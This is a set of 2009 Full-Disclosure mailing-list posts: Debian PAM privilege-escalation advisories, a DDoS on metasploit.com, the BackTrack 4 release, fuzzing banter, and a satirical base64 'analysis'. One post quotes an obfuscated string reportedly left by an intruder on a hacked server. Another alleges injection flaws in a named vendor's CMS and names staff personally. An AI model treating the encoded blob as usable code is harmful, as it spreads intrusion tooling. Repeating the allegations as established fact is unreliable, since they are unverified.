Re: [Full-disclosure] connect back PHP hack
Fredrick Diggle Security has taken it upon itself to reverse this highly mystical encryption schema and has employed its crack cryptanalysis experts and reverse engineers including the highly acclaimed Mustache to get answers to your questions. The team has spent a restless 48 hours reverse engineering this schema and presents the following formal analysis to the cryptographic community at large. 1. High Level Overview A 65-character subset of US-ASCII is used, enabling 6 bits to be represented per printable character. (The extra 65th character, "=", is used to signify a special processing function.) The encoding process represents 24-bit groups of input bits as output strings of 4 encoded characters. Proceeding from left to right, a 24-bit input group is formed by concatenating 3 8-bit input groups. These 24 bits are then treated as 4 concatenated 6-bit groups, each of which is translated into a single digit in the encrypted alphabet. Each 6-bit group is used as an index into an array of 64 printable characters. The character referenced by the index is placed in the output string. Table 1: Alphabetic Substitution Value Encoding Value Encoding Value Encoding Value Encoding 0 A17 R34 i51 z 1 B18 S35 j52 0 2 C19 T36 k53 1 3 D20 U37 l54 2 4 E21 V38 m55 3 5 F22 W39 n56 4 6 G23 X40 o57 5 7 H24 Y41 p58 6 8 I25 Z42 q59 7 9 J26 a43 r60 8 10 K27 b44 s61 9 11 L28 c45 t62 + 12 M29 d46 u63 / 13 N30 e47 v 14 O31 f48 w (pad) = 15 P32 g49 x 16 Q33 h50 y Special processing is performed if fewer than 24 bits are available at the end of the data being encoded. A full encoding quantum is always completed at the end of a quantity. When fewer than 24 input bits are available in an input group, zero bits are added (on the right) to form an integral number of 6-bit groups. Padding at the end of the data is performed using the '=' character. Since all encrypted input is an integral number of octets, only the following cases can arise: (1) the final quantum of encoding input is an integral multiple of 24 bits; here, the final unit of encoded output will be an integral multiple of 4 characters with no "=" padding, (2) the final quantum of encoding input is exactly 8 bits; here, the final unit of encoded output will be two characters followed by two "=" padding characters, or (3) the final quantum of encoding input is exactly 16 bits; here, the final unit of encoded output will be three characters followed by one "=" padding character. 2. Illustrations and examples To translate between binary and this encryption schema, the input is stored in a structure and the output is extracted. This relationship is displayed in the following figure. +--first octet--+-second octet--+--third octet--+ |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| +---+---+---+---+---+---+ |5 4 3 2 1 0|5 4 3 2 1 0|5 4 3 2 1 0|5 4 3 2 1 0| +--1.index--+--2.index--+--3.index--+--4.index--+ The following is an example of this schema in use. Input data: 0x14fb9c03d97e Hex: 1 4f b9 c | 0 3d 97 e 8-bit: 00010100 1011 10011100 | 0011 11011001 1110 6-bit: 000101 00 101110 011100 | 00 01 100111 10 Decimal: 5 15 46 28 0 61 37 62 Output: F P u cA 9 l + Input data: 0x14fb9c03d9 Hex: 1 4f b9 c | 0 3d 9 8-bit: 00010100 1011 10011100 | 0011 11011001 pad with 00 6-bit: 000101 00 101110 011100 | 00 01 100100 Decimal: 5 15 46 28 0 61 36 pad with = Output: F P u cA 9 k = Input data: 0x14fb9c03 Hex: 1 4f b9 c | 0 3 8-bit: 00010100 1011 10011100 | 0011 pad with 6-bi
Re: [Full-disclosure] Cambiumgroup customers get hacked fast!
Ed, click on the link that I provided to you. That will show you who the author was. You do know how to click a link, right? On Wed, 11 Feb 2009 16:26:05 -0500 Ed Carp wrote: >It's really hard to take someone seriously who can't even spell or >produce >something even close to grammatically correct English. -- Wanna lose weight? Weight Loss Programs that work. Click here. http://tagline.hushmail.com/fc/PnY6qxuJ7V7mSLLJ2YEYa3q2UrwYLoPJmIlrK61tD6HBwlUcdnFAs/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] metasploit.com = 127.0.0.1
On Wednesday 11 February 2009 06:51:36 Lehman, Jim wrote: > The incoming connection rate has exceeded 15Mbps of just SYN packets, so > we decided to point www.metasploit.com and metasploit.com back to > 127.0.0.1 for a little while. This is more to keep our ISP happy than > any fear of bandwidth charges. We ran a packet capture of the incoming > SYN traffic for about 8 hours; it takes up approximately 60Gb of disk > space. In the meantime, if you want to access the Metasploit web site, > please use: http://metasploit.org Also from the Metasploit site: Feb-09-2009 Pathetic DDoS vs Metasploit (round 2) (hdm) It looks like our little DDoS buddy got sent home from school early today -- the flood started up again, this time ignoring the DNS name for the metasploit.com web site and instead targeting both IP addresses configured on the server. While SSL service is still unaffected (including Online Update over SVN), folks who wish to visit the Metasploit web site will need to do so using an alternate port until we roll out the next countermeasure. http://metasploit.com:8000/ We also host the main web server for Attack Research, which can now be accessed at: http://www.attackresearch.com:8000/ Thanks for your patience, Feb-08-2009 Pathetic DDoS vs Security Sites (hdm) On Friday, starting around 9:00pm CST, the main metasploit.com was hit with a highly-annoying, if pretty useless distributed denial of service. The attack consisted of a botnet-sourced connection flood against port 80 for the metasploit.com host name. This flood consisted of about 80,000 connections per second, all from real hosts trying to send a simple HTTP request. At the same time, Packet Storm and Milw0rm were being hit as well. About 95% of the bots would intermittently resolve metasploit.com and follow the target address with the connection flood. The other 5% continued to bang on the main metasploit.com IP address and port even after the host record was changed. Solving this involved parking the metasploit.com host record at 127.0.0.1 and moving the other host names and services to a spare IP address. This allows for www.metasploit.com and most of our other domains and services to work properly. The only drawback is that until the flooding stops, we can't use the metasploit.com A record, which happens to be the default for updating the Metasploit Framework installation. A fun side effect is that they handed us full control of the DDoS stream: we can point the metasploit.com record anywhere we like and the connection flood will follow it. We will continue to find other ways to mitigate the flood; but until we can safely use the metasploit.com name again, our standard online update mechanism is going to fail. If you are trying to check out a fresh copy of Metasploit from subversion, use the https://www.metasploit.com/svn/framework3/ URL for now. As of 9:30am CST, the Immunity web site is being hit as well. If anyone has information on the folks involved, we would love to hear from you :-) -- Hawaiian Astronomical Society: http://www.hawastsoc.org HAS Deepsky Atlas: http://www.hawastsoc.org/deepsky ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Cambiumgroup customers get hacked fast!
Wow can you be more ignorant? So if someone is born in, let's say, Romania, and English is not his first language, will that mean his opinions can't be taken seriously when he misspells? - Original Message - From: Ed Carp To: full-disclosure@lists.grok.org.uk Sent: Wednesday, February 11, 2009 11:26 PM Subject: Re: [Full-disclosure] Cambiumgroup customers get hacked fast! It's really hard to take someone seriously who can't even spell or produce something even close to grammatically correct English. -- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] [SECURITY] [DSA 1721-1] New libpam-krb5 packages fix local privilege escalation
On 2009-02-11 22:08, Justin Shore wrote: > I set 'ip tcp path-mtu-discovery' on all my boxes by default, and the > vast majority of them still assumed 516 or 536 MSS. Then something is messing up PMTUD. -- "Don't expect me to cry for all the | Łukasz Bromirski reasons you had to die" -- Kurt Cobain |http://lukasz.bromirski.net ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Cambiumgroup customers get hacked fast!
It's really hard to take someone seriously who can't even spell or produce something even close to grammatically correct English. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] Cambiumgroup customers get hacked fast!
Thought this might be the place to send this. We were using the content system that cambiumgroup created and it resulted in me losing my job because my employer got hacked. When I googled them I found this posting in google's cache. http://74.125.47.132/search?q=cache:PtwMBLcvxxsJ:www.vermontinternet design.com/index.php%3Ftopic%3D597.0+cambiumgroup+Vulnerabilities&hl =en&ct=clnk&cd=3&gl=us&client=safari Hello everyone I would like to share this post with everyone here on my site. I would like to talk about the safety of your email accounts and what is being done to protect them. Why its important that the owner of a web development company understands what they are doing. Well email accounts are prolly the most vulnerable part of any web server. Simply because email accounts are typically the most benifical to someone who is trying to breach your webserver. It is profitable for a hacker to breach an email account. Why? Well why is it profitable for you to do an email blast. The same reason it is for a hacker to do one. I was working for a company in St. Johnsbury Vermont (Cambium Group LLC) for a couple of months. I was hired to do a backlog of projects that the lead developer obviously wasnt capable of doing. While I was working at this place I had noticed that someone had unauthorized access to the companies internal webservers. I mentioned to the owner of the company that someone had unauthorized access to the web server. He thought that I was crazy that someone could have possibly done that. I simply couldnt sleep at night. I checked the webserver and found they were using a website monitoring service that had been hacked into. Meaning there was a program that they used that access all of the client webservers from there development server. Upon talking to the owner and Secretary of this company. I learned that either one of the owner of Cambium group or the Sales lady would admit that there was a problem. They were to worried about protecting a reputation than securing a web server. After this incident I decided to do a further investigation. Upon closing my investigation I learned that the people that I was working for were selling a very unsecured content management system to Credit Unions. They had told me they wanted me to protect there clients accounts and websites. However when I mentioned that there were alot of security holes they didnt want to take action to protect there customers. They simply did not care. I would like to make everyone aware of all of the problems that I found when working with http://www.cambiumgroup.com . 1) I found that all of there webservers use the same configuration. Big no no when you are working with banks. 2) I found that large volumes of spam was being sent from company and customer email accounts. Many customers were complaining that emails where being sent that they never sent. 3) I found that adding malformed urls to there content management system will allow a remote user to run mysql queries directly on there database. 4) I found that the admin password is the same on 100 websites 5) I found that the content management system would vulnerable to bolth html injection and sql injection. 6) I found that there lead developer Jason Leno only knows basic programming skills and denies that the someone would be able to cause a problem due to the above issues. 7) I found that the web forms they were using on there Content Management system would allow someone to send an email to a mailing list. 8) I found that Scott Wells and Shari Choinard had no interest in protecting there customers from the above issues. 9) I found out that they were charging $20,000 - $50,000 for an application that opens up the clients to the above vulnerabilities. 10) After working at this company for 2 months I learned that the secretary Shari, and Scott Wells live together and neither one of them knows anything about computer programming. I am putting this posting here so to protect the customers of that company. I know there are paying alot of money for what they got and for the amount of money they are charged they should not be opened up to these security problems. -- Be a professional. Click here to earn a psychology degree. http://tagline.hushmail.com/fc/PnY6qxultlrtwxI8C5TG1niHYrBtAWdFS2UrVp0KDdMdGEikS5kUY/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
[Full-disclosure] [SECURITY] [DSA 1722-1] New libpam-heimdal packages fix local privilege escalation
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA-1722-1 secur...@debian.org http://www.debian.org/security/ Moritz Muehlenhoff February 11, 2009 http://www.debian.org/security/faq - Package: libpam-heimdal Vulnerability : programming error Problem type : local Debian-specific: no CVE Id(s) : CVE-2009-0361 Derek Chan discovered that the PAM module for the Heimdal Kerberos implementation allows reinitialisation of user credentials when run from a setuid context, resulting in potential local denial of service by overwriting the credential cache file or to local privilege escalation. For the stable distribution (etch), this problem has been fixed in version 2.5-1etch1. For the upcoming stable distribution (lenny), this problem has been fixed in version 3.10-2.1. For the unstable distribution (sid), this problem will be fixed soon. We recommend that you upgrade your libpam-heimdal package. Upgrade instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 4.0 alias etch - --- Stable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc. Source archives: http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1.dsc Size/MD5 checksum: 699 09e39eb1552950761fdcc51babceef11 http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1.diff.gz Size/MD5 checksum: 8208 3e178b9617aadc2e030c07fec659330c http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5.orig.tar.gz Size/MD5 checksum: 117834 a80c66fcf0c48608abfb5ff0c443ab94 amd64 architecture (AMD x86_64 (AMD64)) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_amd64.deb Size/MD5 checksum:38348 a9b7ddbb56515616567b46ead7d48213 arm architecture (ARM) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_arm.deb Size/MD5 checksum:36226 bdfaa1037d3b02494f28d2da628e038f hppa architecture (HP PA RISC) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_hppa.deb Size/MD5 checksum:39432 f721ac5acbaeb33f26c6387ccc4e73da i386 architecture (Intel ia32) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_i386.deb Size/MD5 checksum:37652 c1b56b35fb35c0d700de6ea53d753a4e ia64 architecture (Intel ia64) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_ia64.deb Size/MD5 checksum:43594 2238be62f72a01bbac329d2b5dc0bbe4 mips architecture (MIPS (Big Endian)) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_mips.deb Size/MD5 checksum:37544 80164efa305002d37aeb9c67b1a41f09 mipsel architecture (MIPS (Little Endian)) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_mipsel.deb Size/MD5 checksum:37534 7d911ce54e2e8f078f117984ffbe4b97 powerpc architecture (PowerPC) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_powerpc.deb Size/MD5 checksum:39256 076218cc619f405bb07016ecb2eeaef6 s390 architecture (IBM S/390) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_s390.deb Size/MD5 checksum:38826 be7ee31cad3f876e7f2a343d8cf9f413 sparc architecture (Sun SPARC/UltraSPARC) http://security.debian.org/pool/updates/main/libp/libpam-heimdal/libpam-heimdal_2.5-1etch1_sparc.deb Size/MD5 checksum:37166 bc2d46af607a9acd7978f6973cdc5ecf These files will probably be moved into the stable distribution on its next update. - - For apt-get: deb http://security.debian.org/ stable/updates main For dpkg-ftp: ftp://security.debian.org/debian-security dists/stable/updates/main Mailing list: debian-security-annou...@lists.debian.org Package info: `apt-cache show ' and http://packages.debian.org/ -BEGIN PGP SIGNATURE- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkmTPPMACgkQXm3vHE4uylpNrQCgubliWx2XLOuiece2KpczkcsC FEwAn1OXJGgjyV3dIyGX6opMEM5nwfrc =k2FA -END PGP SIGNATURE- __
[Full-disclosure] [SECURITY] [DSA 1721-1] New libpam-krb5 packages fix local privilege escalation
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 - Debian Security Advisory DSA-1721-1 secur...@debian.org http://www.debian.org/security/ Moritz Muehlenhoff February 11, 2009 http://www.debian.org/security/faq - Package: libpam-krb5 Vulnerability : several Problem type : local Debian-specific: no CVE Id(s) : CVE-2009-0360 CVE-2009-0361 Several local vulnerabilities have been discovered in the PAM module for MIT Kerberos. The Common Vulnerabilities and Exposures project identifies the following problems: CVE-2009-0360 Russ Allbery discovered that the Kerberos PAM module parsed configuration settings from enviromnent variables when run from a setuid context. This could lead to local privilege escalation if an attacker points a setuid program using PAM authentication to a Kerberos setup under her control. CVE-2009-0361 Derek Chan discovered that the Kerberos PAM module allows reinitialisation of user credentials when run from a setuid context, resulting in potential local denial of service by overwriting the credential cache file or to privilege escalation. For the stable distribution (etch), these problems have been fixed in version 2.6-1etch1. For the upcoming stable distribution (lenny), these problems have been fixed in version 3.11-4. For the unstable distribution (sid), these problems will be fixed soon. We recommend that you upgrade your libpam-krb5 package. Upgrade instructions - wget url will fetch the file for you dpkg -i file.deb will install the referenced file. If you are using the apt-get package manager, use the line for sources.list as given below: apt-get update will update the internal database apt-get upgrade will install corrected packages You may use an automated update by adding the resources from the footer to the proper configuration. Debian GNU/Linux 4.0 alias etch - --- Stable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc. Source archives: http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1.dsc Size/MD5 checksum: 670 e24d2e134c78f26f571ae691a4dd3209 http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6.orig.tar.gz Size/MD5 checksum: 119752 5742d0fb75ac148b7748387bc295f472 http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1.diff.gz Size/MD5 checksum:11016 93ab13d570cbb2938e703fef2f06581e alpha architecture (DEC Alpha) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_alpha.deb Size/MD5 checksum:58440 a526c51fb9e6c4193b8591000ff7b632 amd64 architecture (AMD x86_64 (AMD64)) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_amd64.deb Size/MD5 checksum:57502 d8607f991e0da76e191bc2c468c7ed59 arm architecture (ARM) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_arm.deb Size/MD5 checksum:55372 e90de3bd06a9fc12d61866e718896c2e hppa architecture (HP PA RISC) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_hppa.deb Size/MD5 checksum:58952 0774be83acdc3e36ddf9c55bbfc9ee16 i386 architecture (Intel ia32) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_i386.deb Size/MD5 checksum:56726 9d3eb6c5e1954393cde41f73b3824190 ia64 architecture (Intel ia64) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_ia64.deb Size/MD5 checksum:62910 874687c0aba8ecbce11bd126ff5c2585 mips architecture (MIPS (Big Endian)) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_mips.deb Size/MD5 checksum:56894 0f10eccba6afdc540c23a39728df0bc9 mipsel architecture (MIPS (Little Endian)) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_mipsel.deb Size/MD5 checksum:56886 55d1faffac772a008d46674442f480f9 powerpc architecture (PowerPC) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_powerpc.deb Size/MD5 checksum:58572 66ecfa0eb67c381dc8b2a63a1d7dec44 s390 architecture (IBM S/390) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_s390.deb Size/MD5 checksum:57928 73b6597abb7682378667210bd980a8b2 sparc architecture (Sun SPARC/UltraSPARC) http://security.debian.org/pool/updates/main/libp/libpam-krb5/libpam-krb5_2.6-1etch1_sparc.deb Size/MD5 checksum:56390 7896f97c1d3b2daa5e94a195a12a11a6 These files will probably be moved in
[Full-disclosure] BackTrack 4 Beta Released
The Remote Exploit Development Team is happy to announce the release of BackTrack 4 Beta. We have taken huge conceptual leaps with BackTrack 4, and have some new and exciting features. The most significant of these changes is our expansion from the realm of a Pentesting LiveCD towards a full blown "Distribution". Now based on Debian core packages and utilizing the Ubuntu software repositories, BackTrack 4 can be upgraded in case of update. When syncing with our BackTrack repositories, you will regularly get security tool updates soon after they are released. Some of the new features include: * Kernel 2.6.28.1 with better hardware support. * Native support for Pico e12 and e16 cards is now fully functional, making BackTrack the first pentesting distro to fully utilize these awesome tiny machines. * Support for PXE Boot - Boot BackTrack over the network with PXE supported cards! * SAINT EXPLOIT - kindly provided by SAINT corporation for our users with a limited number of free IPs. * MALTEGO - The guys over at Paterva did outstanding work with Maltego 2.0.2 - which is featured in BackTrack as a community edition. * The latest mac80211 wireless injection patches are applied, with several custom patches for rtl8187 injection speed enhancements. Wireless injection support has never been so broad and functional. * Unicornscan - Fully functional with postgres logging support and a web front end. * RFID support * Pyrit CUDA support... * New and updated tools - the list is endless! With all these changes, PLUS the usual goodies and surprises we have in BackTrack, we are truly excited about this new release. We consider the Beta to be stable and usable. Some tools were kept back from this version, and will be soon added to the repositories. Downloads can be found here : http://www.remote-exploit.org/backtrack_download.html Keep safe, The Remote Exploit Team ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fuzzing for Fun and Profit
release something that fuzzes web services given a WSDL. OR * Grammer file. state awareness given history, state munging, branch on prior states. Like: A->B->C->D Transaction 1 A1->B1->C1 Transaction 2 REPLAY from B1 B1->C2->D2 Transaction 1 C1->D1 OR A3->D3 D3->A3 (Send init packet with mundgery permute over *States if it permits.) Run all permutations and branches from all steps, with all possible delays. Learn if it "supports" your test then drop your test if it doesn't work. You won't worry about running out of shit to test, and you'll finally justify the cost of some sweet new hardware to run this on. -or- Learn how to audit code? This might be too much CS for you, but if you plug away you might learn something :.) I'm sure you'll get a talking spot and mad whitehat dollars if you do. On Wed, Feb 11, 2009 at 12:01 PM, wrote: > -BEGIN PGP SIGNED MESSAGE- > Hash: SHA1 > > Dear tal0n. > > when will you do something that hasn't been done and is even > relevant or practical in 2009? fuzzing sftp and command line > arguments/env variables... nice and 2000AD "oh but its setuid(0)" > yeah on your box and the 5 other people who download it to write > useless papers/exploits to feel like they are smart/doing something > (hi prdelka). When is the last time a sftpd exploit was useful? > -BEGIN PGP SIGNATURE- > Charset: UTF8 > Version: Hush 3.0 > Note: This signature can be verified at https://www.hushtools.com/verify > > wpwEAQMCAAYFAkmTBHwACgkQhtejBzrM32l9fAP+L5pGZYr3uQVaRUNh0hrO91/EjR8j > Eh/OLWWnhvEneGDwra2YR70R4AV0YDx3/wey/McNmiICu16xRLopvapqVdV2VVS5/1eP > z6lqWg3Rs+vZQuSEjmblxvhPLgb9dLBRr60qbKPfGPEZKssv3akkxZOmm9no8P1KX8wP > JU2A26Q= > =Iy18 > -END PGP SIGNATURE- > > -- > Too many bills? Click here to simplify your life and lower your debt. > > http://tagline.hushmail.com/fc/PnY6qxtUbhP9WqQxe5tCHOKDJDbyevAbhO9MFNhCEbIMLazpKKNbq/ > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] metasploit.com = 127.0.0.1
The incoming connection rate has exceeded 15Mbps of just SYN packets, so we decided to point www.metasploit.com and metasploit.com back to 127.0.0.1 for a little while. This is more to keep our ISP happy than any fear of bandwidth charges. We ran a packet capture of the incoming SYN traffic for about 8 hours; it takes up approximately 60Gb of disk space. In the meantime, if you want to access the Metasploit web site, please use: http://metasploit.org -Original Message- From: full-disclosure-boun...@lists.grok.org.uk [mailto:full-disclosure-boun...@lists.grok.org.uk] On Behalf Of Jeremy Brown Sent: Wednesday, February 11, 2009 8:34 AM To: full-disclosure@lists.grok.org.uk Subject: Re: [Full-disclosure] metasploit.com = 127.0.0.1 balliwicked2 On Wed, Feb 11, 2009 at 11:05 AM, sr. wrote: > Well, i can resolve the IP's just fine. just can't connect to port 80. > I'm the fw / network person at my job, and i don't remember adding a > rule for this :-P > > I can get there just fine now, seemed inaccessible to me for a short time. > > thx all... > > fabrizio > > On Wed, Feb 11, 2009 at 11:00 AM, Michael Holstein > wrote: >> >>> that's all fine and dandy. still can't reach port 80. >>> >> >> Have you tried using OpenDNS, etc. to see if it resolves? >> >> eg: host -t a www.metasploit.org *208.67.222.222 >> >> Perhaps your school/employeer/ISP has decided that Metasploit is off-limits. >> >> ~Mike.* >> > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ DISCLAIMER: This message (including any files transmitted with it) may contain confidential and / or proprietary information, is the property of Interactive Data Corporation and / or its subsidiaries and is directed only to the addressee(s). If you are not the designated recipient or have reason to believe you received this message in error, please delete this message from your system and notify the sender immediately. An unintended recipient's disclosure, copying, distribution or use of this message, or any attachments, is prohibited and may be unlawful. ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] connect back PHP hack
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 My server was recently computer hacked and I found this in one of the left over files: $cb = "gLuCIj7qTgdDAOa3VxxL1YPjYwd8FhlW9WVhGJjdaSHVHZF03UykKWLkkCLnS1sxAGy Hyqc8gAKd2j9YkoplZBg1latxn0cgf2jn1PZpfem1GqlWNpJzcInG50GnNOhVZXoXuVP adSFpz4vnbI1ZXyqPOoRFOe52cBr5MC3Gv78YZgUJxdXzERb1JoyeBcfwbhFCsf2KxYz svau5zvvV0Qn8k7sEGJfO8mZNFYqBL0bHJSSbZTYUud0uOEHeAbwunm9rGZ7v4Chhxgf PoEq9VZ9BAuAVVQcc2AmB7LU8fEKrI5tQbTqN1Y5NItApIK3zxeSVqlgdbQYAolEugZv bDlHQ0iHSVzPJOOESWGCkjcGbdSPE6ZbP6kEbGUcTD1P5v6y3IdVMK61TYuxtFEaAe8g jBBZmn9yGTiwHi2gNVX3mobRAqG72vDPPL9jygoUfPJhnefw4ZKEW8luvI2Sevd7l5ou fO67FOX0LgfMOCVTYgrhc76NpagI1LWF664RBndZwajhnMf6l7RLEIRjbmLMJjFVCY4l IFhYz4DPkiUjW1eovB34hxRUUzmE4FjZMuFyIgZhfotoOCmvrnLrxYhLkx5fxqT66n96 k6P3Ssc6UHxP1KH1v0sbfc0FVSjrz5aZDFrfHcRfRpJEVYSq2CqDF87JolZv2iiYf9rD VZ5Qo1Dtv3wIfzqIeowcZD8LsNlygKZ3GXcDzGJMS"; Can an expert tell me what it is please? -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmS/94ACgkQhtejBzrM32mCYgP/Y6hGFS+zP0LlfmtHUUb8jonHlUmy gcvAfUXVVqWIgenCQgiBqX6TwWu0VjzC4xBWvxYiWyKPxnsJecSk8lrxzf9e1QiUa2uL 9LQ+wHvW81EZiXKAmvI73VIIze3QoMVeGed2WeUHG3JDQvzPqeyIrhyWj75lk9c6Ht+Z JiwKL/U= =H9Es -END PGP SIGNATURE- ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] Fuzzing for Fun and Profit
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Dear tal0n. when will you do something that hasn't been done and is even relevant or practical in 2009? fuzzing sftp and command line arguments/env variables... nice and 2000AD "oh but its setuid(0)" yeah on your box and the 5 other people who download it to write useless papers/exploits to feel like they are smart/doing something (hi prdelka). When is the last time a sftpd exploit was useful? -BEGIN PGP SIGNATURE- Charset: UTF8 Version: Hush 3.0 Note: This signature can be verified at https://www.hushtools.com/verify wpwEAQMCAAYFAkmTBHwACgkQhtejBzrM32l9fAP+L5pGZYr3uQVaRUNh0hrO91/EjR8j Eh/OLWWnhvEneGDwra2YR70R4AV0YDx3/wey/McNmiICu16xRLopvapqVdV2VVS5/1eP z6lqWg3Rs+vZQuSEjmblxvhPLgb9dLBRr60qbKPfGPEZKssv3akkxZOmm9no8P1KX8wP JU2A26Q= =Iy18 -END PGP SIGNATURE- -- Too many bills? Click here to simplify your life and lower your debt. http://tagline.hushmail.com/fc/PnY6qxtUbhP9WqQxe5tCHOKDJDbyevAbhO9MFNhCEbIMLazpKKNbq/ ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] metasploit.com = 127.0.0.1
balliwicked2 On Wed, Feb 11, 2009 at 11:05 AM, sr. wrote: > Well, i can resolve the IP's just fine. just can't connect to port 80. > I'm the fw / network person at my job, and i don't remember adding a > rule for this :-P > > I can get there just fine now, seemed inaccessible to me for a short time. > > thx all... > > fabrizio > > On Wed, Feb 11, 2009 at 11:00 AM, Michael Holstein > wrote: >> >>> that's all fine and dandy. still can't reach port 80. >>> >> >> Have you tried using OpenDNS, etc. to see if it resolves? >> >> eg: host -t a www.metasploit.org *208.67.222.222 >> >> Perhaps your school/employeer/ISP has decided that Metasploit is off-limits. >> >> ~Mike.* >> > > ___ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] metasploit.com = 127.0.0.1
Well, i can resolve the IP's just fine. just can't connect to port 80. I'm the fw / network person at my job, and i don't remember adding a rule for this :-P I can get there just fine now, seemed inaccessible to me for a short time. thx all... fabrizio On Wed, Feb 11, 2009 at 11:00 AM, Michael Holstein wrote: > >> that's all fine and dandy. still can't reach port 80. >> > > Have you tried using OpenDNS, etc. to see if it resolves? > > eg: host -t a www.metasploit.org *208.67.222.222 > > Perhaps your school/employeer/ISP has decided that Metasploit is off-limits. > > ~Mike.* > ___ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Re: [Full-disclosure] metasploit.com = 127.0.0.1
